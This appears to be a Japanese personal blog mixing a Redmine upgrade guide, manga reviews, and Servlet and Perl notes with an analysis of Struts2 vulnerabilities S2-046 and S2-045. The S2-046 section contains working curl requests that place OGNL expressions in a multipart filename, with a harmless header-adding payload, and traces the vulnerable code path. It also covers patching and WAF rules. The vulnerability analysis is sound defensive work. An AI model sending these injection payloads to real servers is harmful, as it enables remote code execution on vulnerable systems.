てきとうなメモ

本の感想とか技術メモとか

redmineのバージョンアップ

redmineが2系でそろそろ古いかなと思って、バージョンアップしてみたのでメモ。
あと、ubuntu14.04だとrubyが1.9系で微妙なので、それもアップデートした。

構成

webサーバ: apache httpd
appサーバ: thin

というもの

バックアップ

redmineディレクトリは念のため、まるっとバックアップしておく。

$ cp -rp /path/to/redmine /path/to/backup/

DBのダンプ

$ mysqldump -u redmine -p | gzip -c > /path/to/backup/redmine.backup.gz

rubyのインストー

$ wget https://cache.ruby-lang.org/pub/ruby/2.3/ruby-2.3.4.tar.gz
$ tar zxvf ruby-2.3.4.tar.gz
$ cd ruby-2.3.4
$ ./configure --disable-install-doc --prefix=/path/to/ruby2.3.4
$ make
$ sudo make install

bundlerのインストー

$ sudo /path/to/ruby2.3.4/bin/gem install bundler

redmineのインストー

redmineをダウンロードして解凍

$ rm -fr  /path/to/redmine
$ wget http://www.redmine.org/releases/redmine-3.3.3.tar.gz
$ tar zxvf redmine-3.3.3.tar.gz
$ sudo mv redmine-3.3.3 /path/to/redmine

旧環境から設定をコピー

$ sudo cp /path/to/backup/redmine/config/database.yml /path/to/redmine/config/
$ sudo cp /path/to/backup/redmine/config/configuration.yml /path/to/redmine/config/

ディレクトリの所有者をredmineに変更

$ chown -R redmine:redmine /path/to/redmine


依存モジュールのインストール。
まず、アプリケーションサーバにthinを利用しているのでGemfileにthinを追加

gem 'thin'

その後bundle install

$ cd /path/to/redmine
$ sudo -H -u redmine /path/to/ruby2.3.4/bin/bundle install --path vendor/bundle --without development test rmagick

セキュリティトークンの作成

$ sudo -H -u redmine /path/to/ruby2.3.4/bin/bundle exec rake generate_secret_token

DBの更新

$ sudo -H -u redmine /path/to/ruby2.3.4/bin/bundle exec rake db:migrate RAILS_ENV=production

セッションやキャッシュの削除

$ sudo -H -u redmine /path/to/ruby2.3.4/bin/bundle exec rake tmp:cache:clear tmp:sessions:clear RAILS_ENV=production

thinの設定を作成。/path/to/redmine/config/thin.ymlに保存する。

chdir: /path/to/redmine
environment: production
address: 127.0.0.1
port: 3000
timeout: 30
log: log/thin.log
pid: tmp/pids/thin.pid
max_conns: 1024
max_persistent_conns: 512
require: []
wait: 30
daemonize: true
prefix: /redmine
user: redmine
group: redmine

thinの起動

$ cd /path/to/redmine
$ sudo -H -u redmine RAILS_RELATIVE_URL_ROOT=/redmine /path/to/ruby2.3.4/bin/bundle exec thin start -C /path/to/redmine/config/thin.yml

RAILS_RELATIVE_URL_ROOTはredmineをサブurl(/redmine)でアクセスしているのでそうしている。

apache側は3000ポートにproxyしているだけ

<Location /redmine>
  ProxyPass http://localhost:3000/redmine
  ProxyPassReverse http://localhost:3000/redmine
</Location>


あとはデーモン化するとか残っているけどとりあえずここまで。

Struts2の脆弱性(S2-046)

S2-045の話は既に書いたけども、S2-046は書いていなかったのでちょっと書く。

↓のやつ。

Struts2-046: A new vector - Hewlett Packard Enterprise Community

この脆弱性は、以下の3つの条件に合う場合、マルチパートのアイテムのファイル名に記述されたOGNL式が実行される。

  • multipartのparserとしてJakartaStreamMultipartRequestを利用している場合
  • Content-Lengthを制限値(デフォルトは2MB)より大きく設定する
  • マルチパートのアイテムのContent-Dispositionヘッダのファイル名の部分にOGNL式を入れる

実際にこの脆弱性を確認してみる。

脆弱性のあるバージョンのstruts(以下では2.3.11を利用した)を含んだサンプルアプリstruts2-blankに対して、JakartaStreamMultipartRequestを利用するように設定し、HPの例をそのまま使ってcurlコマンドで実行する。

curl -H 'Content-Length: 10000000' -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z' --data-binary @sample.txt  http://localhost:8080/struts2-blank/example/HelloWorld.action

sample.txtの中身は

------WebKitFormBoundaryAnmUgTEhFhOZpr9z
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"
Content-Type: text/plain

Kaboom 

------WebKitFormBoundaryAnmUgTEhFhOZpr9z--

ヘッダ部分の改行コードは\r\nにする必要があるので注意。

これを実行すると、マルチパートリクエストをparseするため、JakaraStreamMultipartRequest.parseが実行される。

public void parse(HttpServletRequest request, String saveDir)
        throws IOException {
    try {
        setLocale(request);
        processUpload(request, saveDir);
    } catch (Exception e) {
        e.printStackTrace();
        String errorMessage = buildErrorMessage(e, new Object[]{});
        if (!errors.contains(errorMessage))
            errors.add(errorMessage);
    }
}

parseの中で以下のprocessUploadが呼ばれる。

    private void processUpload(HttpServletRequest request, String saveDir)
            throws Exception {

        // Sanity check that the request is a multi-part/form-data request.
        if (ServletFileUpload.isMultipartContent(request)) {

            // Sanity check on request size.
            boolean requestSizePermitted = isRequestSizePermitted(request);

isRequestSizePermittedでContentLengthが制限値を超えていないかチェックされ、その真偽値がrequestSizePermittedに入る。

そして、各マルチパートのアイテムを1つずつ処理していく。

FileItemIterator i = servletFileUpload.getItemIterator(request);

// Iterate the file items
while (i.hasNext()) {
    try {
        FileItemStream itemStream = i.next();

        // If the file item stream is a form field, delegate to the
        // field item stream handler
        if (itemStream.isFormField()) {
             processFileItemStreamAsFormField(itemStream);
        }

        // Delegate the file item stream for a file field to the
        // file item stream handler, but delegation is skipped
        // if the requestSizePermitted check failed based on the
        // complete content-size of the request.
        else {

            // prevent processing file field item if request size not allowed.
            // also warn user in the logs.
            if (!requestSizePermitted) {
                addFileSkippedError(itemStream.getName(), request);
                LOG.warn("Skipped stream '#0', request maximum size (#1) exceeded.", itemStream.getName(), maxSize);
                continue;
            }

            processFileItemStreamAsFileField(itemStream, saveDir);
        }
        ...

ファイルアップロードの場合はrequestSizePermittedがチェックされており、これがfalseの場合はaddFileSkippedErrorが呼ばれる。ここで、itemStream.getName()はCotent-Dispositionのファイル名を返すので、OGNL式を含むものになる。

addFileSkippedErrorは以下のようなメソッドで"Skipped file <ファイル名>; request size limit exceeded."という例外を作成し、buildErrorMessageを呼ぶ。

private void addFileSkippedError(String fileName, HttpServletRequest request) {
    String exceptionMessage = "Skipped file " + fileName + "; request size limit exceeded.";
    FileSizeLimitExceededException exception = new FileUploadBase.FileSizeLimitExceededException(exceptionMessage, getRequestSize(request), maxSize);
    String message = buildErrorMessage(exception, new Object[]{fileName, getRequestSize(request), maxSize});
    if (!errors.contains(message))
        errors.add(message);
}

buildErrorMessageは以下のメソッドで、エラーメッセージを引数にLocalizedTextUtil.findTextを呼び出し、これがS2-045でもあったようにOGNL式を実行してしまう。

private String buildErrorMessage(Throwable e, Object[] args) {
    String errorKey = "struts.message.upload.error." + e.getClass().getSimpleName();
    if (LOG.isDebugEnabled())
        LOG.debug("Preparing error message for key: [#0]", errorKey);
    return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args);
}

アップロードファイルのサイズの制限を超える→「〇〇というファイルが制限値を超えた」という例外を作成(実は〇〇にOGNLが含まれている)→ローカライズメソッドを呼ぶ→OGNL実行という流れである。

さらに、S2-046には以下で指摘されている若干異なる攻撃経路がある。

GitHub - pwntester/S2-046-PoC: S2-046-PoC

こちらはContent-Lengthは2KBを超えている必要はないので以下のコマンドで良い。

$ curl -v -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z' --data-binary @sample2.txt  http://localhost:8080/struts2-blank/example/HelloWorld.action

sample2.txtは先程のsample.txtを少し修正する。

------WebKitFormBoundaryAnmUgTEhFhOZpr9z
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}<\0>b"
Content-Type: text/plain

Kaboom 

------WebKitFormBoundaryAnmUgTEhFhOZpr9z--

ファイル名にOGNL式を入れるのは同じだが、\0のバイトを含むようにする。

今回はrequestSizePermittedがtrueになるので、processFileItemStreamAsFileFieldに進む。

private void processFileItemStreamAsFileField(FileItemStream itemStream, String location) {
    // Skip file uploads that don't have a file name - meaning that no file was selected.
    if (itemStream.getName() == null || itemStream.getName().trim().length() < 1) {
        LOG.debug("No file has been uploaded for the field: {}", itemStream.getFieldName());
        return;
    }

itemStream.getName()でアイテムのファイル名を取得しているのだが、その中でファイル名のチェックが実施される。

この部分はcommons-fileuploadのorg.apache.commons.fileupload.util.Streams.checkFileNameにある。

public static String checkFileName(String fileName) {
    if (fileName != null  &&  fileName.indexOf('\u0000') != -1) {
        // pFileName.replace("\u0000", "\\0")
        final StringBuilder sb = new StringBuilder();
        for (int i = 0;  i < fileName.length();  i++) {
            char c = fileName.charAt(i);
            switch (c) {
                case 0:
                    sb.append("\\0");
                    break;
                default:
                    sb.append(c);
                    break;
            }
        }
        throw new InvalidFileNameException(fileName,
                "Invalid file name: " + sb);
    }
    return fileName;
}

このチェックは\0が含まれるかどうかをチェックし、"\\0"に置き換えて"invalid file name: <ファイル名>"というメッセージの例外を投げる。

この例外は、一番最初のJakartaStreamMultipartRequest.parseの中のtry catchでキャッチされ、buildErrorMessageに投げられ、LocalizedTextUtil.findTextに投げるのでファイル名に含まれるOGNLが実行される。

こっちは、Content-Dispositionのファイル名に\0を含む→commons-fileuploadが「ファイル名がおかしい: <ファイル名>」という例外を投げる→struts2が例外をキャッチして、ローカライズメソッドを呼ぶ→ファイル名に含まれるOGNLが実行されるという流れ。

どちらも、S2-045の修正ではローカライズする時に該当するキーが存在しない場合はデフォルトのメッセージをローカライズするようなコードになっているので、S2-045の修正を入れていれば大丈夫。しかし、WAFでの対応にしているとチェックするヘッダが異なるので、ルールを変えていかないといけない。

まあ、WAFに頼るよりかは最新版にした方が良いかな。

Struts2の脆弱性(S2-045, CVE-2017-5638)

だいぶまとめられているので私が書くことはあまりなさそうな。

piyokangoさんのまとめ

Struts2の脆弱性 CVE-2017-5638 (S2-045)についてまとめてみた - piyolog

こちらに解析されている方がいて詳しい

Struts2のリモートコード実行可能脆弱性(CVE-2017-5638)を分析した - R42日記

ただ、

見ての通り、LocalizedTextUtilはもう使われていないのでセーフです。

はちょっとちがくて、修正後のコードのtextProviderの中でLocalizedTextUtilは呼ばれているけど、デフォルトのメッセージ「struts.messages.error.uploading」を取得していて、外部からの入力を利用していないのでセーフになる。

あと、WAFで防ぐ場合はContent-Typeヘッダに%{...}や${...}を含むものを弾けば良いかな。この部分がOGNL式として解釈されるので。PoCは%{...}のものが多いけども、コード的には両方必要。

(追記) Content-Typeについてだけ書いたが、S2-046の件もあるので、Content-DispositionやContent-Lengthをチェックする必要もある

ドキュメントには${...}しか書いていないようだけども。

LocalizedTextUtil (Struts 2 Core 2.5-BETA1 API)

If a message is found, it will also be interpolated. Anything within ${...} will be treated as an OGNL expression and evaluated as such.

2016年面白かった漫画

年明けちゃったけど

軍靴のバルツァー 9 (BUNCH COMICS)

軍靴のバルツァー 9 (BUNCH COMICS)

主人公が自分の権限と利害関係の中でどのような選択をしていくかという部分が面白い。

メガネ君が使えるようになってきて、頭脳戦が面白くなってきたのだけども、休載になってしまうとはなあ

エリア51 13 (BUNCH COMICS)

エリア51 13 (BUNCH COMICS)

この神様殺しちゃうのかという流れにちょっと驚いた

安定して面白い。ちょっとマンネリ感はあるけど。

クイ研熱いし、単純に知識だけではなく、運だとか駆け引きもあって面白い

委員長がいなくなったのは残念だが、そろそろ終了するのかな。

氷菓(10)<氷菓> (角川コミックス・エース)

氷菓(10)<氷菓> (角川コミックス・エース)

原作長編ではこのエピソードが一番すきかな。
里志と摩耶花が主人公な感じで。

えぐい。だが面白い。

1年生もキャラが立ってきて、薙刀漫画というよりかは部活漫画という面も強くなってきて良い。

連載終了

並行して連載されたものが多かったけども、最後までしっかりと描ききったな。
他のはちょっと尻切れになってしまっているので。ブームが過ぎちゃっているので仕方ないが。

水上悟志作品が続けて終わった。
スピリットサークルの未来編が好きだったな

この表紙はずるい

あの終わり方に納得がいかない人もいるっぽいけど、私は結構好きだな。
終わったと思ったらamazonに9巻がある。

獣の奏者(11)<完> (シリウスKC)

獣の奏者(11)<完> (シリウスKC)

絵柄が非常に合っていた。

ServletのWEB-INF/libのjarが読み込まれる順番

同じライブラリのjarがバージョン別でWEB-INFに置かれていた場合、どっちが読まれるのかなという話。

のPDFの「4.6. Resources」のところ、

The order in which the JAR files in the WEB-INF/lib directory are scanned is undefined.

とあるので、読み込まれる順序は未定義のようだ。tomcat8.5辺りの実装を見てもjava.io.File.listを使っているようなので、これまた順序は未定義。

紙のコミックと〜の記事

amazonに現在は同等の機能があるし、APIは制限があるのでイマイチ正確ではないので、やめます。

LWP::UserAgentでHTTPS proxy越し通信(Cent OS 6)

LWP::UserAgentでHTTPSプロキシ越しに通信する - Qiita

## ** See https://metacpan.org/module/Net::HTTPS
## Force use of Net::SSL instead of IO::Socket::SSL
$ENV{PERL_NET_HTTPS_SSL_SOCKET_CLASS} = 'Net::SSL';

の部分を実施せずにうまくいっていたのだが、最近はダメっぽい。

昔のコード(perl-libwww-perl-5.833-2.el6.x86_64のNet/HTTPS.pm)だと以下のようにNet::SSL(Crypt::SSLeayに含まれる)があるとIO::Socket::SSLがあってもNet::SSLを利用していたのに

# Figure out which SSL implementation to use
if ($SSL_SOCKET_CLASS) {
    # somebody already set it
}
elsif ($Net::SSL::VERSION) {
    $SSL_SOCKET_CLASS = "Net::SSL";
}
elsif ($IO::Socket::SSL::VERSION) {
    $SSL_SOCKET_CLASS = "IO::Socket::SSL"; # it was already loaded
}
else {
   ...
}

今のコード(perl-libwww-perl-5.833-3.el6.x86_64のNet/HTTPS.pm)だと以下のようにIO::Socket::SSLが存在すると、Net::SSLが存在していても、IO::Socket::SSLを使ってしまうようだ。

if ($SSL_SOCKET_CLASS) {
    # somebody already set it
}
elsif ($SSL_SOCKET_CLASS = $ENV{PERL_NET_HTTPS_SSL_SOCKET_CLASS}) {
    unless ($SSL_SOCKET_CLASS =~ /^(IO::Socket::SSL|Net::SSL)\z/) {
        die "Bad socket class [$SSL_SOCKET_CLASS]";
    }   
    eval "require $SSL_SOCKET_CLASS";
    die $@ if $@; 
}
elsif ($IO::Socket::SSL::VERSION) {
    $SSL_SOCKET_CLASS = "IO::Socket::SSL"; # it was already loaded
}
elsif ($Net::SSL::VERSION) {
    $SSL_SOCKET_CLASS = "Net::SSL";
}
else {
    ...
}